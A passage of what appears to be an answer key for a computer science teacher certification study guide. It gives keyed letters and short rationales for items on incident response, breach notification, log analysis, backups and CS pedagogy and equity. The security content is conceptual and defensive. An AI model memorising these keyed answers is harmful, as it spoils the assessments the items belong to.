0004.f.3.1 C. An incident response plan assigns roles before an incident, so authority is not debated during one. Question: page 876

0004.f.3.2 A. Responders limit the damage, remove the threat, restore service, and then learn from the incident. Question: page 876

0004.f.3.3 B. After containment and eradication comes recovery, which restores service. Lessons learned follow. Question: page 876

0004.f.3.4 B. The threat must be removed before systems are restored, or the same route remains open. Question: page 876

0004.f.3.5 C. The plan must be available when systems are down, so copies should be kept outside the systems that may be affected. Question: page 877

0004.f.4.1 D. Organizations may be legally required to notify affected people and authorities. For New York schools, this includes Education Law 2-d. Question: page 877

0004.f.4.2 D. New York's SHIELD Act covers breach notice and reasonable data security for private information about residents. Education Law 2-d applies to schools. Question: page 877

0004.f.4.3 B. Using a vendor does not remove a school's responsibilities for student data. Question: page 878

0004.f.4.4 D. Notice allows people to take protective action, such as watching their accounts or changing passwords. Question: page 878

0004.f.4.5 D. Some laws treat properly encrypted data differently, depending on the circumstances, so the company should review the facts with counsel. Question: page 878

0004.f.5.1 A. Repeated failed logins suggest a password attack, and the success at the end suggests that it worked. Question: page 879

0004.f.5.2 C. Small, regular outbound connections with short replies suggest beaconing, a machine reporting to a server that can send it instructions. Question: page 879

0004.f.5.3 B. Unusual time, volume, and destination together suggest data theft. Beaconing is small and regular, and password attacks show up as failed logins. Question: page 879

0004.f.5.4 C. Logs help only if someone or something is watching them, and alerts bring unusual patterns to attention as they occur. Question: page 880

0004.f.5.5 C. Attackers often try to cover their tracks, so logs should also be kept where a compromised server cannot change them. Question: page 880

0004.f.6.1 A. If the service does not hold the means to read the notes, a breach or a dishonest insider exposes much less. Question: page 880

0004.f.6.2 C. This is data minimization: data that is not collected cannot be exposed. Question: page 880

0004.f.6.3 D. The store keeps a token that is useless elsewhere rather than the card number itself. Question: page 881

0004.f.6.4 B. If the company cannot read the data, it also cannot help a customer recover it after a forgotten password. Question: page 881

0004.f.6.5 D. Least privilege gives each account only the access that it needs, which limits the harm from a stolen account. Question: page 881

0004.f.7.1 A. A tabletop exercise reveals gaps in response plans and communication without touching real systems. Question: page 882

0004.f.7.2 B. Discussion-based exercises are meant to find weaknesses in plans and communication before a real event. Question: page 882

0004.f.7.3 B. Finding gaps is the purpose of the exercise, and the plan should be improved as a result. Question: page 882

0004.f.7.4 D. A plausible, high-stakes incident forces decisions and communication across roles. Question: page 883

0004.f.7.5 C. Incidents call for decisions and communication across an organization, so a rehearsal needs more than technical staff. Question: page 883

0004.f.8.1 D. Recovery uses a clean, tested backup after the threat has been removed. A backup made after the infection began may bring the malware back. Question: page 883

0004.f.8.2 C. An isolated copy cannot be encrypted by malware that spreads across a network. Question: page 883

0004.f.8.3 B. Restoring the most critical services first limits the harm from the outage. Question: page 884

0004.f.8.4 C. Backup frequency determines how much recent data can be lost. Testing and off-site copies matter, but they do not close this gap. Question: page 884

0004.f.8.5 B. A clean backup restores the flawed software too, so recovery must include patching the cause. Question: page 884

0004.f.9.1 D. After an incident, reviews update safeguards, policies, and training to prevent it from happening again. Question: page 885

0004.f.9.2 D. The goal of a review is improvement, based on an accurate account of what happened. Question: page 885

0004.f.9.3 D. A review should lead to specific process changes, and here the failure was that nobody owned the alerts. Question: page 885

0004.f.9.4 C. Blameless reviews encourage honest accounts, which reveal the causes that need to change. Question: page 886

0004.f.9.5 B. A review helps only if its findings lead to change, so recommendations must be tracked to completion. Question: page 886

0005 Pedagogical content knowledge

0005.a Learning goals

0005.a.1.1 C. The notes list knowledge and vocabulary but not the skill of finding and correcting an error. Materials matter for planning, but they are not what the goal requires of students. Question: page 886

0005.a.1.2 C. Updating a score is a performance. The other entries are things students must know, which belong in the other column. Question: page 887

0005.a.1.3 B. The goal requires a condition that compares a score with a value and is either true or false. Nothing in it requires loops, arrays, or functions. Question: page 887

0005.a.1.4 C. Knowing chart types is necessary, but the goal also asks students to evaluate. Students must practice judging how design affects interpretation. Question: page 887

0005.a.1.5 C. The question directs attention to the knowledge and skills a goal requires. Engagement, tools, and time are later planning decisions. Question: page 887

0005.a.2.1 B. Correcting a stopping condition joins a concept, loops, with a practice, debugging. The debugging option names a practice but leaves out the idea that students should apply. Question: page 888

0005.a.2.2 C. Collaborating is a practice. Arrays, loops, and binary representation are concepts, even when they are worded with action verbs. Question: page 888

0005.a.2.3 D. Learning goals combine concepts with what students do with them. Students here can state the idea but have not learned to use it. Question: page 888

0005.a.2.4 C. A good objective names what students will do with a concept, and these objectives supply only the doing. Debugging and testing can be observed, and students are the subject of each objective. Question: page 889

0005.a.2.5 D. Conditionals are the computing idea. Working with a partner and testing are things students do with that idea. Question: page 889

0005.a.3.1 A. The first revision has an observable verb, a stated condition, and a level of performance. The others rely on unobservable outcomes or on teacher activity. Question: page 889

0005.a.3.2 C. Tracing produces a record that can be examined. The other verbs describe internal states that have to be inferred. Question: page 890

0005.a.3.3 B. A strong objective states its conditions and the expected performance. The other additions may help planning, but they do not show what counts as success. Question: page 890

0005.a.3.4 B. The objective is observable and states conditions and a criterion, but a strong objective must also fit the grade band. Question: page 890

0005.a.3.5 C. The chosen draft gives the materials, an observable action, and a checkable criterion. "Explore" and "clear and attractive" do not show how a result would be judged. Question: page 891

0005.a.4.1 B. Earlier standards in a concept help identify prerequisites, whereas later material shows where learning is headed. Question: page 891

0005.a.4.2 C. Progressions show how an idea develops. Later standards show where learning is headed, and earlier standards identify prerequisites. Question: page 891

0005.a.4.3 D. A progression reveals which foundations students need, and a teacher can teach them while keeping the goal in view. Question: page 891

0005.a.4.4 C. Later goals add abstraction to these foundations. The animation and key-press tasks fall within the stated standard, and the written routine comes before it. Question: page 892

0005.a.4.5 B. Mapping courses to the standards reveals gaps and unnecessary repetition. Concepts can return across grades, but they should deepen when they do. Question: page 892

0005.a.5.1 A. Early grades may approach sequence through unplugged activities and stories. Picture cards do not depend on reading or typing. Question: page 892

0005.a.5.2 D. Early grades approach these ideas through stories, unplugged activities, and blocks. Text-based work and abstraction come later. Question: page 893

0005.a.5.3 B. Older students can work with text-based languages and abstraction, and may find childish tools off-putting. Supports can ease the move. Question: page 893

0005.a.5.4 D. A concrete, physical task makes debugging accessible in the early grades. The other tasks depend on reading and abstraction better suited to older students. Question: page 893

0005.a.5.5 C. Unplugged activities and block-based tools remove the typing barrier. Using apps is not the same as learning computer science. Question: page 894

0005.b Student readiness

0005.b.1.1 A. A brief task before instruction shows what students know, and asking them to predict output reveals their reasoning. Confidence and past grades do not show this. Question: page 894

0005.b.1.2 D. Such a check should be low stakes, and its results should guide grouping and support. Students have not yet been taught the content, so grading it would be unfair. Question: page 894

0005.b.1.3 C. Results should be used to group and support students. Whole-class reteaching ignores what half the class has shown. Question: page 895

0005.b.1.4 C. Asking a student to predict and explain shows how the student thinks code works. The other prompts gather history, recall, or expectations. Question: page 895

0005.b.1.5 B. A readiness check should reveal thinking and stay low stakes. A list of unfamiliar terms shows little about what students can reason through, however long it takes. Question: page 895

0005.b.2.1 A. The student treats = as a statement of lasting equality. In fact, line 02 copies the value 5, so changing `a` does not change `b`, and the program outputs `5`. Question: page 896

0005.b.2.2 A. The student expects the computer to act on a purpose stated in a comment. The computer runs only the statements, and it ignores the comment. Question: page 896

0005.b.2.3 A. A student with this belief may report both 1 and 2. The two-variable task never reassigns a variable, so it cannot show the belief. Question: page 896

0005.b.2.4 A. The student gives one meaning to both uses of the equals sign, which suggests confusing assignment with comparison. A readiness check should probe this common difficulty. Question: page 897

0005.b.2.5 B. Tracing shows that a computer does only what is written, which addresses the assumption that it infers intent. A library call would hide the problem. Question: page 897

0005.b.3.1 C. Readiness checks should identify existing assets as well as gaps. This experience gives the teacher something to build on, although it does not replace instruction. Question: page 897

0005.b.3.2 C. Students arrive with widely different experience, much of it from outside school. Shared schools and devices do not make their experience uniform. Question: page 898

0005.b.3.3 C. Broad questions reveal assets without ranking students. A private exam still treats one kind of experience as the only kind that counts. Question: page 898

0005.b.3.4 D. Instruction can address varied experience by extending some students while making sure that all participate. Using students as teachers places an undue burden on them. Question: page 898

0005.b.3.5 A. A narrow survey misses real knowledge gained outside school. More questions about formal courses tell the teacher nothing about students who have taken none. Question: page 898

0005.b.4.1 D. Using visuals and examples helps separate content understanding from language proficiency. The two results suggest that the written format affected the score. Question: page 899

0005.b.4.2 C. Using a student's preferred language helps separate content understanding from language proficiency, so that the results reflect what the student knows. Question: page 899

0005.b.4.3 A. Showing the code and simplifying the sentence reduces unnecessary language and keeps the same idea. A definition item would test something else. Question: page 899

0005.b.4.4 B. Ordering scrambled code lowers language demands and focuses on logic. The vocabulary match has low language demands, but it does not test reasoning about a loop. Question:

page 900

0005.b.4.5 D. Machine-translated assessments should be checked for technical errors, because an error can change what a question asks. Question: page 900

0005.c Culturally relevant connections

0005.c.1.1 D. The local housing analysis builds on students' experience, maintains rigor, and asks who is affected. Decoration and lowered demands do not accomplish these aims. Question: page 900

0005.c.1.2 D. Maintaining high expectations is part of this approach, not a barrier to it. Lowering demands for students because of their backgrounds works against that aim. Question: page 901

0005.c.1.3 B. Critical awareness examines who is affected by a system and why. A mention of the community does not by itself raise that question. Question: page 901

0005.c.1.4 B. Relevance comes from students' actual experiences, not from assumptions about groups. The teacher should learn from these students what matters to them. Question: page 901

0005.c.1.5 A. Students apply knowledge of algorithms to their own experience and ask critical questions about representation. Evidence, not the teacher's opinion, drives the inquiry. Question: page 902

0005.c.2.1 C. The student's diagnostic reasoning is a resource for learning to debug, but the connection must be made explicit. A car theme uses her topic and leaves her expertise untouched. Question: page 902

0005.c.2.2 B. Funds of knowledge are the skills and knowledge that students bring from families and communities, which teachers can treat as resources. Question: page 902

0005.c.2.3 B. Asking students and families reveals real knowledge. Profiles and a teacher's own history lead to assumptions. Question: page 903

0005.c.2.4 D. A funds of knowledge view treats family skills as assets. The other responses accept the idea that these students have nothing to build on, or set background aside. Question: page 903

0005.c.2.5 B. Woven patterns involve repetition and structure, which connect naturally to loops. The other lessons use the samples as objects and ignore the knowledge of weaving. Question: page 903

0005.c.3.1 A. Choosing a topic connects the goal to interests and identities, and the requirement keeps the required skills in place. Question: page 904

0005.c.3.2 A. Choosing a topic that matters to her connects computing to her identity. The programming demands and the grade have not changed. Question: page 904

0005.c.3.3 C. Personal projects must still meet the goal, and the repeated code is a natural place to use loops. The student keeps ownership of the topic and meets the goal. Question: page 904

0005.c.3.4 C. A good proposal joins the goal with personal meaning. Scale and tools do not show either, and avoiding students' communities works against the aim. Question: page 904

0005.c.3.5 B. Starter code and structured choices support novices without removing personal meaning. A fixed template would give support but take away students' ownership. Question: page 905

0005.c.4.1 D. Everyday analogies activate prior knowledge, but transfer is not automatic. The teacher must connect the routine explicitly to code. Question: page 905

0005.c.4.2 C. The activity focuses on steps that must be done in order, which is the idea of sequencing. Question: page 905

0005.c.4.3 D. Analogies have limits, which should be made explicit. The program outputs 2 because the assignment replaces the earlier value. Question: page 906

0005.c.4.4 B. Everyday decisions give every student a way into the idea, which the teacher can then connect to code. The other questions depend on experience that novices may not have. Question: page 906

0005.c.4.5 C. Familiar experience is a route into the concept when the teacher connects it to code. Students then use what they know to write a program of their own. Question: page 906

0005.c.5.1 C. Analyzing local data and acting on it shows that computing can serve community goals. The other options miss either the data work or the local connection. Question: page 907

0005.c.5.2 A. Working with local data on a real concern shows students that computing can serve their goals. Data informs public discussion but does not end it. Question: page 907

0005.c.5.3 D. Authentic purpose and user feedback deepen the design and programming work. The other features may be valuable, but they do not concern computing as such. Question: page 907

0005.c.5.4 B. Students' questions anchor the project in what matters to them. A distant data set or a fixed conclusion removes that connection. Question: page 907

0005.c.5.5 D. Aggregating sensitive data protects privacy and keeps the project local. A home's address can identify a family even when the name is removed. Question: page 908

0005.d Instructional strategies

0005.d.1.1 A. Constructionism holds that learners build knowledge especially well when making shareable, personally meaningful artifacts. Question: page 908

0005.d.1.2 A. Making and sharing a meaningful artifact is central to this view. An assigned chart submitted only to the teacher is neither personal nor shared. Question: page 908

0005.d.1.3 D. Learning comes through the student's own building, not merely having an artifact. The teacher's work here took the place of the student's. Question: page 909

0005.d.1.4 D. Sharing is part of the idea, and students can learn from seeing how others build. Grading against a single model works against personal meaning. Question: page 909

0005.d.1.5 B. Seymour Papert is the researcher associated with constructionism. Question: page 909

0005.d.2.1 A. Structured role-switching makes participation more equitable. Separating the students removes the benefit of working together, and a report does not involve the silent student in programming. Question: page 910

0005.d.2.2 A. The driver types, and the navigator reviews and thinks ahead. Partners switch these roles regularly. Question: page 910

0005.d.2.3 C. Shared attention, discussion, and regular role changes are central to the practice. Dividing the program means that partners no longer work on the same code together. Question: page 910

0005.d.2.4 A. Working with a partner supports learning and persistence, since peers help one another through difficulty. Question: page 910

0005.d.2.5 A. Pairing is equitable only when it is structured and monitored. Leaving choices to confident students can make existing imbalances worse. Question: page 911

0005.d.3.1 D. The sequence is predict, run, investigate, modify, make. After running the program, students investigate how it works before they change it. Question: page 911

0005.d.3.2 A. Moving from reading to writing reduces novices' cognitive load, so students can focus on how programs work before producing their own. Question: page 911

0005.d.3.3 B. Predictions surface students' mental models, and a mismatch gives the class something to investigate. Question: page 912

0005.d.3.4 D. PRIMM stands for predict, run, investigate, modify, make, and it moves students from reading code to writing it. Question: page 912

0005.d.3.5 C. Modifying a program bridges reading and writing, since students change working code before making their own. Question: page 912

0005.d.4.1 C. Arranging given lines practices logic and syntax with less cognitive load than a blank file. Copying and tracing do not ask students to construct anything. Question: page 913

0005.d.4.2 B. A Parsons problem asks students to arrange given lines of code into the correct order. A worked example would show the solution already in order, with explanations. Question: page 913

0005.d.4.3 A. Extra lines can target common errors, so students must reason about which line is correct. Extra lines do add some load, which is the trade-off for that benefit. Question: page 913

0005.d.4.4 A. These tasks offer a step between reading and writing code. Advanced students need more open tasks, and students must already have some sense of what the lines do. Question: page 914

0005.d.4.5 A. Limiting checks and asking for explanations discourages guessing and makes students reason about the structure. Question: page 914

0005.d.5.1 D. Activities without computers work well when they connect explicitly to later programming. Repeating the activity does not make that link. Question: page 914

0005.d.5.2 D. Unplugged activities teach computing concepts without computers, often through movement or cards. Question: page 914

0005.d.5.3 D. Movement and cards can model routing without devices, so all students take part at once. Watching an animation in turns leaves most students idle. Question: page 915

0005.d.5.4 A. Unplugged activities work when connected explicitly to later programming. Here the concepts were learned, but the bridge to code was not built. Question: page 915

0005.d.5.5 A. The question connects the model to how computers represent data. Finding the cards for 11 uses the model but does not make that link. Question: page 915

0005.d.6.1 B. Live coding lets students watch a teacher think aloud and handle errors, which normalizes debugging. Question: page 916

0005.d.6.2 A. Worked examples show complete solutions with explanations. Nothing here asks students to arrange or complete the code. Question: page 916

0005.d.6.3 D. Prompting self-explanation deepens learning from examples. Running a program confirms its output without asking why the output occurs. Question: page 916

0005.d.6.4 C. Worked examples let novices focus on structure without searching for a solution, and they model expert reasoning. They do not remove the need for practice. Question: page 917

0005.d.6.5 C. Worked examples should fade as skill grows. Students then need practice in solving problems independently. Question: page 917

0005.d.7.1 A. The sequence moves from using a program, to modifying it, to creating one's own, so that ownership transfers gradually. Question: page 917

0005.d.7.2 D. Use-modify-create gradually transfers ownership, as students move from using a program to creating their own. Question: page 917

0005.d.7.3 C. In the modify stage, students change an existing program in a limited way. The use stage involves no changes, and the create stage requires building the structure. Question: page 918

0005.d.7.4 A. The stages can be revisited when a blank file is too much, and modifying a program lets the student keep the work. Question: page 918

0005.d.7.5 B. Working code gives a safe entry, and students move toward creating their own programs. The sequence leads to writing and does not replace it. Question: page 918

0005.d.8.1 D. The choice should fit students' goals and context. For novices making stories in two weeks, blocks offer a low floor and prevent syntax errors. Question: page 919

0005.d.8.2 C. Blocks offer a low floor and prevent syntax errors, and text-based languages offer greater power. Blocks do include loops and conditionals. Question: page 919

0005.d.8.3 A. The choice should fit students' goals and context. These students have experience with text, and the goal needs the greater power of a text-based language. Question: page 919

0005.d.8.4 C. Blocks are real programming, and conceptual learning transfers, although blocks differ from text in power. Blocks prevent syntax errors but not logic errors. Question: page 920

0005.d.8.5 D. Side-by-side views ease the transition, because students can see familiar ideas in the new notation. Question: page 920

0005.d.9.1 A. Scaffolding provides temporary supports that are removed gradually. Starter code may hide some details, but the point of this progression is the fading of support. Question: page 920

0005.d.9.2 D. Scaffolds are temporary. If they never fade, students cannot start on their own. Question: page 921

0005.d.9.3 B. A checklist guides the process while students still do the work, and it can be removed later. A corrected program does the work for them. Question: page 921

0005.d.9.4 A. Scaffolds must fade for independence to develop. Students who always have a template have no practice in starting without one. Question: page 921

0005.d.9.5 B. Sentence frames scaffold academic language so that the student can show understanding in writing. An exemption removes the opportunity to learn to explain code. Question: page 921

0005.e Explaining how a strategy works

0005.e.1.1 C. The strong revision says what students do and which part of the objective it develops. The other revisions add detail about participation, equipment, or timing and never connect the work to the skill. Question: page 922

0005.e.1.2 A. What the explanation lacks is the link between students' actions and the objective. Logistics, however complete, leave that link unstated. Question: page 922

0005.e.1.3 B. Students practice the very skill the objective names: finding who is missing from a data set and what follows. The other activities involve data without requiring that analysis. Question: page 922

0005.e.1.4 C. Enjoyment may help, but the sentence never connects students' actions to the objective. Length is not the problem, and engagement is not irrelevant. Question: page 923

0005.e.1.5 D. The first sentence connects the action to the objective. The others add description of what happens and leave the reason unstated. Question: page 923

0005.e.2.1 C. A rationale explains the mechanism: tracing builds a mental model while avoiding the cost of producing syntax. Tradition, calm, and slogans do not. Question: page 923

0005.e.2.2 A. Candidate 2 names how the activity works: spoken reasoning exposes its own flaws. Popularity says nothing about why students learn. Question: page 924

0005.e.2.3 D. Easing one demand, syntax, lets students concentrate on another, logic and order. The scaffold supports the later writing; it does not replace it. Question: page 924

0005.e.2.4 D. The revision explains how the activity produces learning: stating a hypothesis exposes misconceptions. The other revisions give a justification from the profession, resources, or agreement and no mechanism. Question: page 924

0005.e.2.5 A. The strong justification explains how the strategy reduces load by separating logic from syntax. Familiarity, speed, and appearance do not. Question: page 925

0005.e.3.1 D. The plan names the misconception and provides evidence that contradicts it. Generic references, repeated explanation, and pairing do not target the specific idea. Question: page 925

0005.e.3.2 C. Running the code gives evidence that contradicts the prediction, and explaining the difference leads the student to revise the idea. Telling, extra practice, and a peer's explanation do not require the student to confront it. Question: page 925

0005.e.3.3 C. The prediction commits students to an idea, and the output contradicts it. Students revise ideas more reliably when they confront evidence than when they are told. Question: page 926

0005.e.3.4 C. Only a named misconception allows the activity to target it, and so the reader can see how the activity exposes and corrects it. Question: page 926

0005.e.3.5 C. Predicting and then tracing sets the expected idea against the actual behavior of the program. The other activities do not test the idea. Question: page 926

0005.e.4.1 C. The progression moves from modeling to guided practice to independent work, withdrawing support as students become able. The aim is independent performance. Question: page 927

0005.e.4.2 A. A new situation without hints requires students to apply the skill. Repeating a modeled example shows recall, and keeping hints keeps the support. Question: page 927

0005.e.4.3 D. One group product may reflect one member's work. The lesson needs individual evidence, such as an exit task, to show each student's performance. Question: page 927

0005.e.4.4 B. Guided practice is the bridge between modeling and independent work. Students do the work, and the teacher's feedback is available. Question: page 928

0005.e.4.5 D. A worked example in the final task keeps the support students are supposed to be without. Support should be reduced stage by stage until students perform alone. Question: page 928

0005.f Assessment

0005.f.1.1 A. What distinguishes the two is how the results are used. Evidence that shapes the next lesson during learning is formative, and an evaluation at the end of the unit is summative. Question: page 928

0005.f.1.2 C. The same task can be formative or summative, depending on whether its results guide learning or evaluate it at the end. Question: page 929

0005.f.1.3 B. High stakes give students reason to copy or hide confusion, so the evidence becomes untrustworthy. Low-stakes use keeps the evidence honest. Question: page 929

0005.f.1.4 C. The decision is about tomorrow, so the evidence must be gathered and reviewed during learning. Assessments scored weeks later cannot guide it. Question: page 929

0005.f.1.5 C. When practice counts heavily, students protect their grades and avoid risk. Formative evidence is more honest and useful when stakes are low. Question: page 930

0005.f.2.1 D. Observation with a checklist records practices as they happen. A test, a product grade, or a survey does not show how students worked. Question: page 930

0005.f.2.2 D. One question on what a short loop prints shows each student's understanding and can be read quickly. The other tasks do not give quick evidence of understanding. Question: page 930

0005.f.2.3 A. An automatic grader shows that code works, not why. A brief walkthrough reveals the student's reasoning directly. Question: page 930

0005.f.2.4 B. Peer code review is a formative tool because it supplies feedback during the work, when students can still act on it. Question: page 931

0005.f.2.5 D. Ordering scrambled lines lets students show logic and sequence without the cost of producing syntax. Writing from a blank page mixes the two. Question: page 931

0005.f.3.1 C. A rubric can assess functionality, design, readability, and process separately. One that awards all its points for a working program says nothing about the others. Question: page 931

0005.f.3.2 B. Each criterion needs a clear definition so that different graders read it the same way. Vague criteria also tend to favor students who already share the teacher's unstated expectations. Question: page 932

0005.f.3.3 A. Sharing a rubric and examples at the start guides students' work and shows them what quality looks like. Question: page 932

0005.f.3.4 B. Assessing criteria separately recognizes strengths in design and process even when functionality is incomplete, and it shows the student where to improve. Question: page 932

0005.f.3.5 D. Criteria with no definition or examples reward those who already know what is expected. Defined criteria and shared examples make expectations explicit for everyone. Question: page 932

0005.f.4.1 B. A walkthrough with live modification of code shows each student's own understanding, which a shared product cannot. Question: page 933

0005.f.4.2 D. A walkthrough and a live modification are hard to outsource and reveal understanding fairly. They treat the artifact as evidence to be explained. Question: page 933

0005.f.4.3 B. This prompt asks for process and for reflection on what to change, which shows metacognition. The others ask for description, comparison, or time. Question: page 933

0005.f.4.4 B. An artifact alone can hide a student's understanding, particularly in group work or when code is copied or generated. Explanations and process give a fuller picture. Question: page 934

0005.f.4.5 B. Explanations, process, and live modification are much harder to outsource than a finished product, so emphasizing them shows understanding more reliably. Question: page 934

0005.f.5.1 D. A shared error pattern points to a shared misunderstanding, which calls for reteaching that addresses it directly, here with tracing. Question: page 934

0005.f.5.2 D. The evidence points to a specific, small group with a specific gap. A small-group lesson targets it, and the others are not held back. Question: page 935

0005.f.5.3 D. When almost everyone misses a question, the likelier explanation is a flaw in the question or the instruction. Reviewing how students answered can show which. Question: page 935

0005.f.5.4 B. Breaking results down by group can reveal equity issues that totals hide. Here, the structure of group roles appears to affect who learns. Question: page 935

0005.f.5.5 D. Patterns in the results indicate whether to reteach, regroup, or offer extensions. Here two groups need different responses. Question: page 935

0005.f.6.1 D. Effective feedback is specific and gives a next step. Praise, a general reminder, and a comparison do not say how to improve. Question: page 936

0005.f.6.2 A. Feedback should concern the task and say how to improve it. Comments about the person or about others do not. Question: page 936

0005.f.6.3 C. Feedback is useful only while students can still act on it, so feedback on drafts does more than comments on a final submission. Question: page 936

0005.f.6.4 B. Errors are normal for every programmer. Sharing debugging stories and crediting diagnosis treat errors as information and support persistence. Question: page 937

0005.f.6.5 A. Feedback should be specific and directed at how to improve. A general reminder gives the student no next step. Question: page 937

0005.g Inclusion and equity

0005.g.1.1 C. The revision names real experience and the learning ahead. The others state deficits or lower expectations. Question: page 937

0005.g.1.2 B. The student's languages are a resource for reasoning about code. English technical terms can be added over time. Question: page 938

0005.g.1.3 A. An asset-based perspective keeps expectations high and builds support on students' strengths. Simplifying the course assumes limited ability. Question: page 938

0005.g.1.4 D. Multiple entry points show that interests like music and art can lead to engagement with computing, with the goals unchanged. Question: page 938

0005.g.1.5 D. The teacher treats students' backgrounds as problems to repair, which is a deficit view. An asset-based view builds on what students bring. Question: page 938

0005.g.2.1 D. Offering a course does not by itself change who takes it. Messaging, recruitment, and culture shape enrollment. Question: page 939

0005.g.2.2 B. The requirement acts as gatekeeping. The remedy is to remove it and recruit widely. Question: page 939

0005.g.2.3 B. The causes of underrepresentation are unequal access and stereotypes about who belongs, not differences in ability. Question: page 939

0005.g.2.4 D. Unequal access, such as having no course and lacking devices or connectivity, helps explain underrepresentation. It does not reflect ability. Question: page 940

0005.g.2.5 D. These groups have historically been underrepresented because of unequal access and stereotypes about who belongs. Ability does not explain the pattern. Question: page 940

0005.g.3.1 B. Presenting the same content in several forms is representation. Engagement concerns being drawn in, and action and expression concerns how students show what they know. Question: page 940

0005.g.3.2 B. Letting students choose how to show their learning is action and expression. Representation concerns how content is presented to them. Question: page 940

0005.g.3.3 A. Universal Design for Learning plans from the start for the variety among all learners, instead of retrofitting. Question: page 941

0005.g.3.4 D. Choices of topic and working arrangement draw students in and sustain them, which is engagement. Question: page 941

0005.g.3.5 A. Because Universal Design for Learning anticipates variety, its supports often help students beyond those they were designed for. Question: page 941

0005.g.4.1 C. IEPs and 504 plans are legally binding, and teachers must follow them. Question: page 942

0005.g.4.2 D. Chunking the task into steps supports attention and working memory while the student still demonstrates the same skills. Question: page 942

0005.g.4.3 B. Accessible tools such as screen-reader-compatible environments, chosen with support staff, give access to the same course goals. Question: page 942

0005.g.4.4 B. An accommodation gives access to the goal without lowering it. Here the student still writes conditionals, with different tools and time. Question: page 943

0005.g.4.5 C. Flexible ways of demonstrating learning allow the student to show the same skills in a form that works for the student, alongside the plan. Question: page 943

0005.g.5.1 A. The goal is to keep the computer science demand and reduce the language load that is not part of it. A familiar context does this. Question: page 943

0005.g.5.2 A. Using a home language to reason about code is productive, and English terms can be added over time. Question: page 943

0005.g.5.3 A. Common words with technical meanings may need explicit explanation for multilingual learners. Question: page 944

0005.g.5.4 C. Key vocabulary is taught best in context, with visuals and code examples. Question: page 944

0005.g.5.5 C. Sentence frames scaffold how students talk or write about an idea without reducing the idea they must express. Question: page 944

0005.g.6.1 A. Role models signal who belongs, so they should reflect varied backgrounds and a wide range of computing work. Question: page 945

0005.g.6.2 B. Norms that value help-seeking, together with varied examples of how professionals began, counter the stereotype. Question: page 945

0005.g.6.3 B. Varied examples chosen with student input signal that computing is for everyone. Question: page 945

0005.g.6.4 D. Inclusive classrooms value multiple forms of participation, which counters the idea that computing is for a narrow group. Question: page 945

0005.g.6.5 C. Diverse role models and relevant projects counter the stereotype that computing is for a narrow group and show the student who belongs. Question: page 946

0005.g.7.1 C. Groups left alone tend to reproduce imbalances. Rotating defined roles gives every student practice in each part of the work. Question: page 946

0005.g.7.2 C. Assignments should not require technology some students lack at home. Class time, loaned equipment, or an offline option make the goal reachable by everyone. Question: page 946

0005.g.7.3 A. Structured turn-taking or pair discussion before sharing widens who speaks. Question: page 947

0005.g.7.4 B. Assigning groups thoughtfully and teaching collaboration norms prevents exclusion. Question: page 947

0005.g.7.5 B. Unequal participation shows when the same students take the coding role while others do other work. The other findings are normal parts of collaboration. Question: page 947

0005.g.8.1 C. Even well-meant remarks can trigger stereotype threat, anxiety about confirming a negative stereotype, which can reduce performance. Question: page 948

0005.g.8.2 C. Reducing how prominent identity is before a test may reduce stereotype threat, for example by moving demographic questions to the end. Question: page 948

0005.g.8.3 C. Framing ability as something that grows through effort, strategies, and feedback counters the belief that ability is fixed. Question: page 948

0005.g.8.4 D. Praising effort alone is not enough. Growth comes from effective strategies as well as effort, and noting progress shows that ability grows. Question: page 948

0005.g.8.5 C. Anxiety about confirming a negative stereotype about one's group can reduce performance, even for a capable student. Question: page 949